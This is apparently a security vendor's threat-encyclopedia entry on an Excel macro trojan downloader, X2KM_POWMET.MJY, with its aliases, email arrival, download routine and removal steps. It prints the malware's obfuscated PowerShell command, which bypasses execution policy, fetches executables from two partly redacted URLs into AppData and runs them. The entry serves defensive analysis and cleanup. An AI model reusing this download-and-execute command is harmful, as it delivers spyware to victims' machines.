X2KM_POWMET.MJY

 Analysis by: Michael Jay Villanueva

 ALIASES:

TrojanDownloader:O97M/Donoff (Microsoft); X97M/Powmet.gen (F-Protect); Trojan-Downloader.MSExcel.Agent.gb (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email, Dropped by other malware, Downloaded from the Internet


This Trojan arrives as an attachment to email messages mass-mailed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size:

64,512 bytes

File Type:

XLS

Memory Resident:

No

Initial Samples Received Date:

06 Sep 2017

Payload:

Downloads files

Arrival Details

This Trojan arrives as an attachment to email messages mass-mailed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}n.com/videos.exe
  • http://{BLOCKED}d.cz/tmp/visa.exe

It saves the files it downloads using the following names:

  • %Application Data%\{Random Numbers}.exe
    where {Random Numbers} can be randomly generated from 0 to 61132

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Trend Micro detects the dowloaded file as:

  • TSPY_URSNIF.AUSIQD

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

  • It uses the following Powershell to download and execute a malicious file:
    • powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://{BLOCKED}n.com/videos.exe },{http://{BLOCKED}d.cz/tmp/visa.exe })) { try { $fg = $random.next(0, 61132); $pp = '%Application Data%\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } };

It does not exploit any vulnerability.

NOTES:
The Microsoft Excel file contains the following fake details luring users to enable macro content:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.644.05

FIRST VSAPI PATTERN DATE:

07 Sep 2017

VSAPI OPR PATTERN File:

13.645.00

VSAPI OPR PATTERN Date:

08 Sep 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Remove malware/grayware files dropped/downloaded by X2KM_POWMET.MJY. (Note: Please skip this step if the threats listed below have already been removed.)

    • TSPY_URSNIF.AUSIQD

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Application Data%\{Random Numbers}.exe

Step 5

Scan your computer with your Trend Micro product to delete files detected as X2KM_POWMET.MJY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 6

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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